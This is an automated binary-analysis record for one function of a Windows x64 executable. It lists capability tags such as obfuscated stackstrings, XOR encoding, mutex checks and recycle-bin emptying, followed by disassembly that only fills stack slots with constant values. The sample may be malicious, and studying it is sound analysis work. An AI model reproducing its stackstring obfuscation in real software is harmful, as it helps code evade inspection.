Function at 0x140001000
Capabilities:
Accept command line arguments
Authenticate hmac
Check for unexpected memory writes
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file size
Get file system object information
Get system information on windows
Hash data using fnv
Parse pe header
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x28a60
call fcn.1401f5c50
sub rsp, rax
mov byte [rsp + 0x50], 0xf0
mov dword [rsp + 0x6820], 0x3c47
movabs rax, 0x71c7744d3b191d
mov qword [rsp + 0xc9a0], rax
mov dword [rsp + 0x6824], 0x603f
mov dword [rsp + 0x6828], 0x2dbb
mov byte [rsp + 0x51], 0xcc
mov dword [rsp + 0x682c], 0x67a8
movabs rax, 0x72f3b1c146aafe
mov qword [rsp + 0xc9a8], rax
movabs rax, 0x7b89863ca37799
mov qword [rsp + 0xc9b0], rax
movabs rax, 0x74e0b66a3ff8f1
mov qword [rsp + 0xc9b8], rax
mov dword [rsp + 0x6830], 0x57f8
movabs rax, 0x70454789aeef90
mov qword [rsp + 0xc9c0], rax
mov eax, 0x5c5
mov word [rsp + 0xfb0], ax
mov byte [rsp + 0x52], SHDoDragDrop
mov dword [rsp + 0x6834], 0x6828
mov eax, 0x96b
mov word [rsp + 0xfb4], ax
mov byte [rsp + 0x53], 0xc1
mov dword [rsp + 0x6838], 0xd6ec
mov eax, 0x550
mov word [rsp + 0xfb8], ax
movabs rax, 0x77e4bad2fc5639
mov qword [rsp + 0xc9c8], rax
mov dword [rsp + 0x683c], 0x4071
movabs rax, 0x7c82db36ca8095
mov qword [rsp + 0xc9d0], rax
movabs rax, 0x75dd9c3753c0cf
mov qword [rsp + 0xc9d8], rax
movabs rax, 0x771ee923351522
mov qword [rsp + 0xc9e0], rax
mov eax, 0x514
mov word [rsp + 0xfbc], ax
mov byte [rsp + 0x54], 0x93
mov byte [rsp + 0x55], 0x42
mov byte [rsp + 0x56], 0x63
mov eax, 0xeeb
mov word [rsp + 0xfc0], ax
mov eax, 0xe83
mov word [rsp + 0xfc4], ax
mov eax, 0x764
mov word [rsp + 0xfc8], ax
mov eax, 0x7c8
mov word [rsp + 0xfcc], ax
movabs rax, 0x7400d88323ba2a
mov qword [rsp + 0xc9e8], rax
mov eax, 0x524
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x6840], 0x17a9
mov dword [rsp + 0x6844], 0x3048
mov eax, 0xc2
mov word [rsp + 0xfd4], ax
mov dword [rsp + 0x6848], 0x12a
mov dword [rsp + 0x684c], 0x745b
movabs rax, 0x73cd6df90f8c76
mov qword [rsp + 0xc9f0], rax
mov dword [rsp + 0x6850], 0x69d0
mov byte [rsp + 0x57], PathYetAnotherMakeUniqueName
movabs rax, 0x78eed031792263
mov qword [rsp + 0xc9f8], rax
movabs rax, 0x70c9caa7abf89c
mov qword [rsp + 0xca00], rax
mov dword [rsp + 0x6854], 0xd539
mov byte [rsp + 0x58], 0x4c
mov eax, 0x2ae
mov word [rsp + 0xfd8], ax
mov eax, 0x73
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x6858], 0x3756
mov byte [rsp + 0x59], 0xc1
movabs rax, 0x736fd539b0c06b
mov qword [rsp + 0xca08], rax
mov dword [rsp + 0x685c], 0xb4a7
movabs rax, 0x7328ffa84428db
mov qword [rsp + 0xca10], rax
mov eax, 0x33e
mov word [rsp + 0xfe0], ax
mov byte [rsp + 0x5a], 0x75
movabs rax, 0x7021af9b494911
mov qword [rsp + 0xca18], rax
mov byte [rsp + 0x5b], 0xa6
movabs rax, 0x76280a40e75b8e
mov qword [rsp + 0xca20], rax
mov eax, 0x99d
mov word [rsp + 0xfe4], ax
movabs rax, 0x7c8a4c16334891
mov qword [rsp + 0xca28], rax
mov byte [rsp + 0x5c], 0x37
mov eax, 0x30c
mov word [rsp + 0xfe8], ax
mov dword [rsp + 0x6860], 0x43ca
mov dword [rsp + 0x6864], 0x6d0
mov byte [rsp + 0x5d], 0xca
mov eax, 0x3aa
mov word [rsp + 0xfec], ax
mov byte [rsp + 0x5e], SHDoDragDrop
mov eax, 0x72e
mov word [rsp + 0xff0], ax
movabs rax, 0x74053282bef472
mov qword [rsp + 0xca30], rax
movabs rax, 0x78c66ee333a645
mov qword [rsp + 0xca38], rax
mov dword [rsp + 0x6868], 0x815c
movabs rax, 0x7ba16ef280220e
mov qword [rsp + 0xca40], rax
movabs rax, 0x70245a1ce444e2
mov qword [rsp + 0xca48], rax
mov dword [rsp + 0x686c], 0x859d
movabs rax, 0x701326c854bf92
mov qword [rsp + 0xca50], rax
mov dword [rsp + 0x6870], 0x1482
movabs rax, 0x7eec880c2b2954
mov qword [rsp + 0xca58], rax
mov byte [rsp + 0x5f], SHDoDragDrop
mov dword [rsp + 0x6874], 0x5804
mov eax, 0x227
mov word [rsp + 0xff4], ax
mov eax, 0x75d
mov word [rsp + 0xff8], ax
mov eax, 0x100
mov word [rsp + 0xffc], ax
mov eax, 0x3b2
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x6878], 0x30d6
mov eax, 0x5ed
mov word [rsp + 0x1004], ax
mov byte [rsp + 0x60], 0xa4
movabs rax, 0x7a804f3007599d
mov qword [rsp + 0xca60], rax
mov eax, 0x6e4
mov word [rsp + 0x1008], ax
movabs rax, 0x721519aa4be761
mov qword [rsp + 0xca68], rax
movabs rax, 0x79a5b45d04f683
mov qword [rsp + 0xca70], rax
mov eax, 0x6b9
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x687c], 0x75b8
movabs rax, 0x7e5950c59fe3af
mov qword [rsp + 0xca78], rax
mov eax, 0x6aa
mov word [rsp + 0x1010], ax
mov dword [rsp + 0x6880], 0x3c3b
mov eax, 0x58b
mov word [rsp + 0x1014], ax
mov dword [rsp + 0x6884], 0x8484
mov eax, 0x58e
mov word [rsp + 0x1018], ax
mov dword [rsp + 0x6888], 0xbfb5
mov byte [rsp + 0x61], 0x43
movabs rax, 0x74b0b2006b9be6
mov qword [rsp + 0xca80], rax
mov eax, 0xef
mov word [rsp + 0x101c], ax
movabs rax, 0x73a0985f88ff57
mov qword [rsp + 0xca88], rax
mov dword [rsp + 0x688c], 0xf8ae
mov eax, 0x9a7
mov word [rsp + 0x1020], ax
movabs rax, 0x75fe859654c4d6
mov qword [rsp + 0xca90], rax
mov eax, 0x392
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x6890], 0x5e57
movabs rax, 0x76865dc4a8433c
mov qword [rsp + 0xca98], rax
mov byte [rsp + 0x62], 0xf5
mov eax, 0x43a
mov word [rsp + 0x1028], ax
movabs rax, 0x7c50bedb392655
mov qword [rsp + 0xcaa0], rax
mov byte [rsp + 0x63], PathYetAnotherMakeUniqueName
movabs rax, 0x77ed4a885467cf
mov qword [rsp + 0xcaa8], rax
movabs rax, 0x7a392adaa71fcc
mov qword [rsp + 0xcab0], rax
movabs rax, 0x7b69f4069a3505
mov qword [rsp + 0xcab8], rax
mov dword [rsp + 0x6894], 0x8c14
mov eax, 0x784
mov word [rsp + 0x102c], ax
movabs rax, 0x70e9b54f8c2d1f
mov qword [rsp + 0xcac0], rax
mov byte [rsp + 0x64], 0x22
mov eax, 0xf0f
mov word [rsp + 0x1030], ax
mov byte [rsp + 0x65], 0x7f
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0x1034], ax
mov byte [rsp + 0x66], 0x1f
mov byte [rsp + 0x67], 0x1f
movabs rax, 0x755ab0c4cf2997
mov qword [rsp + 0xcac8], rax
mov byte [rsp + 0x68], 0x73
movabs rax, 0x7b79490941442a
mov qword [rsp + 0xcad0], rax
mov dword [rsp + 0x6898], 0x6cf9
movabs rax, 0x76e1637676ca2c
mov qword [rsp + 0xcad8], rax
mov byte [rsp + 0x69], 0x76
mov byte [rsp + 0x6a], 3
movabs rax, 0x7cbc15344c6134
mov qword [rsp + 0xcae0], rax
mov dword [rsp + 0x689c], 0xc92f
movabs rax, 0x7b78ad0cb8c412
mov qword [rsp + 0xcae8], rax
movabs rax, 0x78e53953fbbf7a
mov qword [rsp + 0xcaf0], rax
mov dword [rsp + 0x68a0], 0x2d89
mov byte [rsp + 0x6b], 0xe9
mov byte [rsp + 0x6c], 0xc6
mov byte [rsp + 0x6d], 0x59
mov eax, 0x1e1
mov word [rsp + 0x1038], ax
movabs rax, 0x71dd014c7f798d
mov qword [rsp + 0xcaf8], rax
mov eax, 0x4c4
mov word [rsp + 0x103c], ax
movabs rax, 0x7d94001c5b63d1
mov qword [rsp + 0xcb00], rax
movabs rax, 0x755d0413950856
mov qword [rsp + 0xcb08], rax
mov eax, 0x32f
mov word [rsp + 0x1040], ax
mov byte [rsp + 0x6e], 0x1e
mov byte [rsp + 0x6f], 0xf1
mov byte [rsp + 0x70], 0x1d
mov eax, 0x6af
mov word [rsp + 0x1044], ax
mov eax, 0x383
mov word [rsp + 0x1048], ax
mov dword [rsp + 0x68a4], 0x2689
mov dword [rsp + 0x68a8], 0x34d7
mov byte [rsp + 0x71], 0x60
mov eax, 0x796
mov word [rsp + 0x104c], ax
movabs rax, 0x7af8d75c06cb64
mov qword [rsp + 0xcb10], rax
movabs rax, 0x75cc4722a0ec09
mov qword [rsp + 0xcb18], rax
movabs rax, 0x73ab97a66fc943
mov qword [rsp + 0xcb20], rax
mov byte [rsp + 0x72], 5
mov dword [rsp + 0x68ac], 0x99e2
movabs rax, 0x746090085effb9
mov qword [rsp + 0xcb28], rax
mov eax, 0x5c5
mov word [rsp + 0x1050], ax
mov eax, 0x156
mov word [rsp + 0x1054], ax
mov dword [rsp + 0x68b0], 0x451e
movabs rax, 0x7442f3aa2b794b
mov qword [rsp + 0xcb30], rax
mov eax, 0x7bb
mov word [rsp + 0x1058], ax
mov byte [rsp + 0x73], 0x62
mov byte [rsp + 0x74], 0xd9
movabs rax, 0x72ff163524ef5c
mov qword [rsp + 0xcb38], rax
mov eax, 0xa6a
mov word [rsp + 0x105c], ax
movabs rax, 0x7a5ac0788b63de
mov qword [rsp + 0xcb40], rax
mov eax, 0xa26
mov word [rsp + 0x1060], ax
movabs rax, 0x74dbf9250337dd
mov qword [rsp + 0xcb48], rax
mov dword [rsp + 0x68b4], 0x3519
mov byte [rsp + 0x75], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x76], 0xe2
mov byte [rsp + 0x77], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7e602bbd6c6c5b
mov qword [rsp + 0xcb50], rax
mov byte [rsp + 0x78], 0xd7
movabs rax, 0x79e81a9d9b03fa
mov qword [rsp + 0xcb58], rax
mov eax, 0x5dc
mov word [rsp + 0x1064], ax
mov dword [rsp + 0x68b8], 0xdca
movabs rax, 0x70833ceab047fa
mov qword [rsp + 0xcb60], rax
mov eax, ILGetSize
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x68bc], 0x1854
mov eax, 0x219
mov word [rsp + 0x106c], ax
mov byte [rsp + 0x79], 0xe1
mov dword [rsp + 0x68c0], 0x573b
mov dword [rsp + 0x68c4], 0xbeac
mov dword [rsp + 0x68c8], 0x54d4
mov byte [rsp + 0x7a], 0x71
mov eax, 0x7f7
mov word [rsp + 0x1070], ax
mov byte [rsp + 0x7b], ILRemoveLastID
mov dword [rsp + 0x68cc], 0x2a82
mov eax, 0x1b3
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x68d0], 0x4d1a
mov dword [rsp + 0x68d4], 0x521
mov eax, 0x805
mov word [rsp + 0x1078], ax
mov dword [rsp + 0x68d8], 0x6935
mov dword [rsp + 0x68dc], 0x21ab
mov dword [rsp + 0x68e0], 0x565a
mov dword [rsp + 0x68e4], 0x7cf0
mov eax, 0x84b
mov word [rsp + 0x107c], ax
mov eax, 0x58b
mov word [rsp + 0x1080], ax
mov byte [rsp + 0x7c], 0x6a
mov eax, 0x11a
mov word [rsp + 0x1084], ax
movabs rax, 0x7cbdc7583124e2
mov qword [rsp + 0xcb68], rax
movabs rax, 0x79000a212278d6
mov qword [rsp + 0xcb70], rax
mov eax, 0x321
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x68e8], 0x69ba
movabs rax, 0x7eb8b44b1fedab
mov qword [rsp + 0xcb78], rax
mov dword [rsp + 0x68ec], 0x20f
mov byte [rsp + 0x7d], reloc.SHELL32.dll_ILClone
movabs rax, 0x72773f4998965a
mov qword [rsp + 0xcb80], rax
movabs rax, 0x72225ea55dc96e
mov qword [rsp + 0xcb88], rax
movabs rax, 0x7474604d568a25
mov qword [rsp + 0xcb90], rax
mov eax, 0x4dc
mov word [rsp + 0x108c], ax
movabs rax, 0x70deac6ca9de6f
mov qword [rsp + 0xcb98], rax
mov dword [rsp + 0x68f0], 0x8368
mov byte [rsp + 0x7e], 0x71
movabs rax, 0x793f0273a67d7d
mov qword [rsp + 0xcba0], rax
mov dword [rsp + 0x68f4], 0x29a0
movabs rax, 0x731deaedeb9d2b
mov qword [rsp + 0xcba8], rax
mov dword [rsp + 0x68f8], 0x58a6
mov eax, 0x4a8
mov word [rsp + 0x1090], ax
movabs rax, 0x7a9bb02034855d
mov qword [rsp + 0xcbb0], rax
movabs rax, 0x7e6b12f6082c1e
mov qword [rsp + 0xcbb8], rax
movabs rax, 0x750fce621bf3d6
mov qword [rsp + 0xcbc0], rax
mov eax, 0x704
mov word [rsp + 0x1094], ax
mov byte [rsp + 0x7f], 4
mov byte [rsp + 0x80], 0x82
mov byte [rsp + 0x81], 0x19
mov byte [rsp + 0x82], 0xc6
mov byte [rsp + 0x83], 6
mov eax, 0x86c
mov word [rsp + 0x1098], ax
mov byte [rsp + 0x84], 0x39
mov dword [rsp + 0x68fc], 0x5b2b
movabs rax, 0x729752d7c103ec
mov qword [rsp + 0xcbc8], rax
mov dword [rsp + 0x6900], 0x34c
mov dword [rsp + 0x6904], 0x4569
movabs rax, 0x71d49fba2d4e68
mov qword [rsp + 0xcbd0], rax
mov dword [rsp + 0x6908], 0x376d
mov eax, 0xfb8
mov word [rsp + 0x109c], ax
mov eax, 0x71a
mov word [rsp + 0x10a0], ax
mov eax, 0x6a
mov word [rsp + 0x10a4], ax
mov dword [rsp + 0x690c], 0x6968
mov dword [rsp + 0x6910], 0x6dea
movabs rax, 0x72ecea7278b3ff
mov qword [rsp + 0xcbd8], rax
movabs rax, 0x70831e9d5ca4fd
mov qword [rsp + 0xcbe0], rax
mov eax, 0x480
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x6914], 0x2293
movabs rax, 0x7b8d0fd18e594c
mov qword [rsp + 0xcbe8], rax
movabs rax, 0x7ccd032befa950
mov qword [rsp + 0xcbf0], rax
mov dword [rsp + 0x6918], 0x139c
mov byte [rsp + 0x85], 0x76
movabs rax, 0x7716aae21da15c
mov qword [rsp + 0xcbf8], rax
mov eax, 0xbdd
mov word [rsp + 0x10ac], ax
mov eax, 0x19
mov word [rsp + 0x10b0], ax
mov eax, 0xee
mov word [rsp + 0x10b4], ax
mov dword [rsp + 0x691c], 0x77d9
movabs rax, 0x717a98baacf3f5
mov qword [rsp + 0xcc00], rax
mov dword [rsp + 0x6920], 0x358e
mov byte [rsp + 0x86], 0x50
mov byte [rsp + 0x87], 0xa4
mov byte [rsp + 0x88], 0x1f
movabs rax, 0x7ed24361e940ce
mov qword [rsp + 0xcc08], rax
mov byte [rsp + 0x89], SHDoDragDrop
mov byte [rsp + 0x8a], 0xd7
movabs rax, 0x7c2eeec5fd591a
mov qword [rsp + 0xcc10], rax
movabs rax, 0x7bdc1807782482
mov qword [rsp + 0xcc18], rax
mov dword [rsp + 0x6924], 0x289a
mov dword [rsp + 0x6928], 0xa91
movabs rax, 0x7d36c11c9a9f84
mov qword [rsp + 0xcc20], rax
mov dword [rsp + 0x692c], 0xa0
movabs rax, 0x7c92a307376230
mov qword [rsp + 0xcc28], rax
mov eax, 0xf93
mov word [rsp + 0x10b8], ax
movabs rax, 0x787de93fa12ef5
mov qword [rsp + 0xcc30], rax
movabs rax, 0x72e46be913f311
mov qword [rsp + 0xcc38], rax
mov byte [rsp + 0x8b], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x6930], 0xdb09
mov byte [rsp + 0x8c], SHGetNewLinkInfoW
mov byte [rsp + 0x8d], ILRemoveLastID
mov dword [rsp + 0x6934], 0x4762
mov dword [rsp + 0x6938], 0xf36c
mov eax, 0x1b2
mov word [rsp + 0x10bc], ax
mov eax, 0x4f4
mov word [rsp + 0x10c0], ax
mov eax, 0xf35
mov word [rsp + 0x10c4], ax
mov byte [rsp + 0x8e], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x693c], 0xb7c7
mov byte [rsp + 0x8f], 0x30
mov eax, 0x77f
mov word [rsp + 0x10c8], ax
mov eax, 0x439
mov word [rsp + 0x10cc], ax
mov byte [rsp + 0x90], 0x30
movabs rax, 0x7e78b4931ddd66
mov qword [rsp + 0xcc40], rax
mov dword [rsp + 0x6940], 0x16f6
movabs rax, 0x769dc25c3c756f
mov qword [rsp + 0xcc48], rax
mov byte [rsp + 0x91], 0x41
mov dword [rsp + 0x6944], 0x6512
movabs rax, 0x7454ec76de4e77
mov qword [rsp + 0xcc50], rax
mov byte [rsp + 0x92], 0x50
mov eax, 0xeeb
mov word [rsp + 0x10d0], ax
mov byte [rsp + 0x93], 8
movabs rax, 0x73dd33ccdd9000
mov qword [rsp + 0xcc58], rax
mov eax, 0x421
mov word [rsp + 0x10d4], ax
mov byte [rsp + 0x94], PathMakeUniqueName
movabs rax, 0x7e5d9445072d9d
mov qword [rsp + 0xcc60], rax
mov byte [rsp + 0x95], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x96], 0x90
movabs rax, 0x7c758f0d043717
mov qword [rsp + 0xcc68], rax
mov dword [rsp + 0x6948], 0x142
mov dword [rsp + 0x694c], 0x647c
mov eax, 0xd76
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x6950], 0xfdba
mov eax, 0x39e
mov word [rsp + 0x10dc], ax
movabs rax, 0x7e491bf62aeb8c
mov qword [rsp + 0xcc70], rax
movabs rax, 0x7dffdcaf471867
mov qword [rsp + 0xcc78], rax
mov byte [rsp + 0x97], 0x4f
movabs rax, 0x7a94a9ea06a34a
mov qword [rsp + 0xcc80], rax
mov eax, 0x98d
mov word [rsp + 0x10e0], ax
mov byte [rsp + 0x98], reloc.SHELL32.dll_ILClone
mov dword [rsp + 0x6954], 0x4d34
mov dword [rsp + 0x6958], 0x853b
mov dword [rsp + 0x695c], 0x28d5
mov byte [rsp + 0x99], 0x25
movabs rax, 0x7bca979a81e997
mov qword [rsp + 0xcc88], rax
movabs rax, 0x78651997e9735d
mov qword [rsp + 0xcc90], rax
mov eax, 0x2f6
mov word [rsp + 0x10e4], ax
mov byte [rsp + 0x9a], 0x87
movabs rax, 0x77707af6ba2cad
mov qword [rsp + 0xcc98], rax
mov eax, 0x2a1
mov word [rsp + 0x10e8], ax
mov dword [rsp + 0x6960], 0x3c35
mov dword [rsp + 0x6964], 0xbca4
mov eax, 0xd8f
mov word [rsp + 0x10ec], ax
movabs rax, 0x75f0acdd4e681f
mov qword [rsp + 0xcca0], rax
mov eax, 0x32b
mov word [rsp + 0x10f0], ax
mov eax, 0x466
mov word [rsp + 0x10f4], ax
movabs rax, 0x773c52e0a969b5
mov qword [rsp + 0xcca8], rax
mov eax, 0x497
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x9b], 0x8c
movabs rax, 0x7c839619be96ca
mov qword [rsp + 0xccb0], rax
mov eax, 0x6a3
mov word [rsp + 0x10fc], ax
movabs rax, 0x72f8f709938ed8
mov qword [rsp + 0xccb8], rax
mov dword [rsp + 0x6968], 0x799
movabs rax, 0x7b06b0a27235eb
mov qword [rsp + 0xccc0], rax
movabs rax, 0x788c84ee9e1d59
mov qword [rsp + 0xccc8], rax
mov dword [rsp + 0x696c], 0xad4
mov eax, 0x6ac
mov word [rsp + 0x1100], ax
mov dword [rsp + 0x6970], 0xa616
mov byte [rsp + 0x9c], 0x5b
mov dword [rsp + 0x6974], 0x4f1e
mov byte [rsp + 0x9d], 0x90
mov dword [rsp + 0x6978], 0x6ab7
mov dword [rsp + 0x697c], 0xaa4b
mov eax, 0x214
mov word [rsp + 0x1104], ax
mov byte [rsp + 0x9e], 0x50
mov dword [rsp + 0x6980], 0xc0fc
movabs rax, 0x7ee0141f5381e0
mov qword [rsp + 0xccd0], rax
movabs rax, 0x73186c3b0fd978
mov qword [rsp + 0xccd8], rax
mov eax, 0x5c3
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x6984], 0x554d
movabs rax, 0x7390d97e439491
mov qword [rsp + 0xcce0], rax
mov byte [rsp + 0x9f], ILRemoveLastID
mov dword [rsp + 0x6988], 0x2b1d
movabs rax, 0x7843395f30aebf
mov qword [rsp + 0xcce8], rax
movabs rax, 0x7b4f32df615988
mov qword [rsp + 0xccf0], rax
mov dword [rsp + 0x698c], 0x2711
mov dword [rsp + 0x6990], 0x509e
mov eax, 0xe50
mov word [rsp + 0x110c], ax
movabs rax, 0x757d9a888da0cb
mov qword [rsp + 0xccf8], rax
mov byte [rsp + 0xa0], 0x73
mov eax, reloc.SHELL32.dll_ILClone
mov word [rsp + 0x1110], ax
mov dword [rsp + 0x6994], 0x3ced
movabs rax, 0x76ee37ee615abd
mov qword [rsp + 0xcd00], rax
mov byte [rsp + 0xa1], 0xe4
movabs rax, 0x78d7626a0dd246
mov qword [rsp + 0xcd08], rax
movabs rax, 0x7ac22d60dc3c5a
mov qword [rsp + 0xcd10], rax
mov eax, 0x6d7
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x6998], 0x76be
mov byte [rsp + 0xa2], 0xc4
mov dword [rsp + 0x699c], 0x9d58
movabs rax, 0x77266e0d5860e8
mov qword [rsp + 0xcd18], rax
mov dword [rsp + 0x69a0], 0x49a1
movabs rax, 0x77aa4d6c4cedd7
mov qword [rsp + 0xcd20], rax
mov byte [rsp + 0xa3], 0x66
mov eax, 0x450
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x69a4], 0x903c
mov eax, 0x6b6
mov word [rsp + 0x111c], ax
mov eax, 0xf58
mov word [rsp + 0x1120], ax
mov byte [rsp + 0xa4], 0x83
mov dword [rsp + 0x69a8], 0x1356
mov byte [rsp + 0xa5], 0xc8
mov byte [rsp + 0xa6], 5
movabs rax, 0x7e536d973b9897
mov qword [rsp + 0xcd28], rax
mov eax, 0x71c
mov word [rsp + 0x1124], ax
movabs rax, 0x7af3590b009fd2
mov qword [rsp + 0xcd30], rax
mov byte [rsp + 0xa7], 0xa8
mov byte [rsp + 0xa8], 0x6d
mov eax, 0x35
mov word [rsp + 0x1128], ax
mov byte [rsp + 0xa9], 0x7d
mov eax, 0x24f
mov word [rsp + 0x112c], ax
mov eax, 0xa5
mov word [rsp + 0x1130], ax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1134], ax
movabs rax, 0x70d478bc847008
mov qword [rsp + 0xcd38], rax
movabs rax, 0x7b445869df95e2
mov qword [rsp + 0xcd40], rax
movabs rax, 0x7757cbcf47c502
mov qword [rsp + 0xcd48], rax
mov byte [rsp + 0xaa], 0
movabs rax, 0x731dc10b1d87cd
mov qword [rsp + 0xcd50], rax
movabs rax, 0x77a8dfc13971cf
mov qword [rsp + 0xcd58], rax
mov dword [rsp + 0x69ac], 0x3ee7
movabs rax, 0x7cbaf07b41ea8b
mov qword [rsp + 0xcd60], rax
mov dword [rsp + 0x69b0], 0x26c2
movabs rax, 0x77f6541d8e0cbb
mov qword [rsp + 0xcd68], rax
mov byte [rsp + 0xab], PathYetAnotherMakeUniqueName
movabs rax, 0x7557313c70139d
mov qword [rsp + 0xcd70], rax
mov byte [rsp + 0xac], 0x60
movabs rax, 0x71a98767a395aa
mov qword [rsp + 0xcd78], rax
movabs rax, 0x796b52f9ed482a
mov qword [rsp + 0xcd80], rax
movabs rax, 0x7c1ff430d7e976
mov qword [rsp + 0xcd88], rax
mov eax, 0xc51
mov word [rsp + 0x1138], ax
mov eax, 0x6e8
mov word [rsp + 0x113c], ax
mov eax, 0x5e0
mov word [rsp + 0x1140], ax
mov dword [rsp + 0x69b4], 0x739a
mov eax, 0x755
mov word [rsp + 0x1144], ax
movabs rax, 0x7a4e42d50a14b9
mov qword [rsp + 0xcd90], rax
movabs rax, 0x71558a9d2cd836
mov qword [rsp + 0xcd98], rax
mov eax, 0x934
mov word [rsp + 0x1148], ax
mov eax, 0xe01
mov word [rsp + 0x114c], ax
movabs rax, 0x720ad512bc03c0
mov qword [rsp + 0xcda0], rax
movabs rax, 0x7a12c4afdc24ba
mov qword [rsp + 0xcda8], rax
mov eax, 0x4af
mov word [rsp + 0x1150], ax
movabs rax, 0x73a17d7075605e
mov qword [rsp + 0xcdb0], rax
movabs rax, 0x7c12b041688945
mov qword [rsp + 0xcdb8], rax
movabs rax, 0x72ef2325afaa43
mov qword [rsp + 0xcdc0], rax
mov byte [rsp + 0xad], 0x30
movabs rax, 0x7c204b5226cd94
mov qword [rsp + 0xcdc8], rax
mov eax, 0x132
mov word [rsp + 0x1154], ax
mov byte [rsp + 0xae], 0x71
movabs rax, 0x76a9e45391d9ee
mov qword [rsp + 0xcdd0], rax
movabs rax, 0x728b30cd2c2d3d
mov qword [rsp + 0xcdd8], rax
mov byte [rsp + 0xaf], 0x22
mov eax, 0x1bb
mov word [rsp + 0x1158], ax
mov dword [rsp + 0x69b8], 0x50f9
mov byte [rsp + 0xb0], 0xc9
movabs rax, 0x762bc4f81217e5
mov qword [rsp + 0xcde0], rax
movabs rax, 0x7338b195b83e98
mov qword [rsp + 0xcde8], rax
mov eax, 0x176
mov word [rsp + 0x115c], ax
mov eax, 0x16b
mov word [rsp + 0x1160], ax
mov dword [rsp + 0x69bc], 0xa5b4
movabs rax, 0x7d7467d154bc38
mov qword [rsp + 0xcdf0], rax
mov eax, 0x56d
mov word [rsp + 0x1164], ax
mov eax, 0x2a
mov word [rsp + 0x1168], ax
mov eax, 0x35a
mov word [rsp + 0x116c], ax
mov byte [rsp + 0xb1], 0x70
mov byte [rsp + 0xb2], 0x71
mov byte [rsp + 0xb3], ILCreateFromPathW
movabs rax, 0x711fc259f4418d
mov qword [rsp + 0xcdf8], rax
mov eax, 0x2e1
mov word [rsp + 0x1170], ax
mov dword [rsp + 0x69c0], 0xc5f2
mov byte [rsp + 0xb4], 6
mov eax, 0x14d
mov word [rsp + 0x1174], ax
mov byte [rsp + 0xb5], 0x32
mov byte [rsp + 0xb6], PathMakeUniqueName
mov dword [rsp + 0x69c4], 0x6d91
movabs rax, 0x70b42b701ff753
mov qword [rsp + 0xce00], rax
mov eax, 0x6a5
mov word [rsp + 0x1178], ax
mov eax, 0xade
mov word [rsp + 0x117c], ax
mov byte [rsp + 0xb7], 0xe6
movabs rax, 0x7386cec9543342
mov qword [rsp + 0xce08], rax
mov eax, 0x120
mov word [rsp + 0x1180], ax
mov eax, 0xc8
mov word [rsp + 0x1184], ax
mov byte [rsp + 0xb8], PathMakeUniqueName
mov eax, 0x6d0
mov word [rsp + 0x1188], ax
mov byte [rsp + 0xb9], SHDoDragDrop
mov byte [rsp + 0xba], reloc.SHELL32.dll_ILCloneFirst
mov dword [rsp + 0x69c8], 0x8925
mov byte [rsp + 0xbb], reloc.SHELL32.dll_SHSetInstanceExplorer
mov dword [rsp + 0x69cc], 0x2b89
mov dword [rsp + 0x69d0], 0x70e9
movabs rax, 0x72886493222625
mov qword [rsp + 0xce10], rax
mov dword [rsp + 0x69d4], 0xdd72
mov byte [rsp + 0xbc], PathMakeUniqueName
mov byte [rsp + 0xbd], 0x7e
mov dword [rsp + 0x69d8], 0x8cbd
movabs rax, 0x7e0a7c76b08c60
mov qword [rsp + 0xce18], rax
movabs rax, 0x73b2b8fe852b63
mov qword [rsp + 0xce20], rax
mov byte [rsp + 0xbe], 0x36
mov eax, 0x30b
mov word [rsp + 0x118c], ax
mov byte [rsp + 0xbf], 0xfa
mov byte [rsp + 0xc0], SHSetInstanceExplorer
movabs rax, 0x78e1cc842d32c4
mov qword [rsp + 0xce28], rax
movabs rax, 0x74583a5708b312
mov qword [rsp + 0xce30], rax
mov byte [rsp + 0xc1], 0xe4
mov byte [rsp + 0xc2], 0xc5
mov dword [rsp + 0x69dc], 0x3eb4
movabs rax, 0x7bda4c0264df83
mov qword [rsp + 0xce38], rax
movabs rax, 0x7d1f8348eff2cb
mov qword [rsp + 0xce40], rax
mov dword [rsp + 0x69e0], 0xa302
mov eax, 0x33f
mov word [rsp + 0x1190], ax
mov byte [rsp + 0xc3], 0xd0
mov eax, 0x3c8
mov word [rsp + 0x1194], ax
mov dword [rsp + 0x69e4], 0x7865
mov byte [rsp + 0xc4], 0xcf
movabs rax, 0x7d3ebc41f39dac
mov qword [rsp + 0xce48], rax
mov eax, 0x242
mov word [rsp + 0x1198], ax
mov eax, 0xa07
mov word [rsp + 0x119c], ax
mov dword [rsp + 0x69e8], 0x56e8
mov dword [rsp + 0x69ec], 0xb820
mov eax, 0x155
mov word [rsp + 0x11a0], ax
movabs rax, 0x7c6c4b30fc2f8a
mov qword [rsp + 0xce50], rax
mov eax, 0xcfa
mov word [rsp + 0x11a4], ax
mov dword [rsp + 0x69f0], 0xb946
movabs rax, 0x7bacd4dfe7cfc0
mov qword [rsp + 0xce58], rax
movabs rax, 0x7702cc0dc22315
mov qword [rsp + 0xce60], rax
mov dword [rsp + 0x69f4], 0x9a91
mov eax, 0x1f6
mov word [rsp + 0x11a8], ax
movabs rax, 0x77db548db3a12a
mov qword [rsp + 0xce68], rax
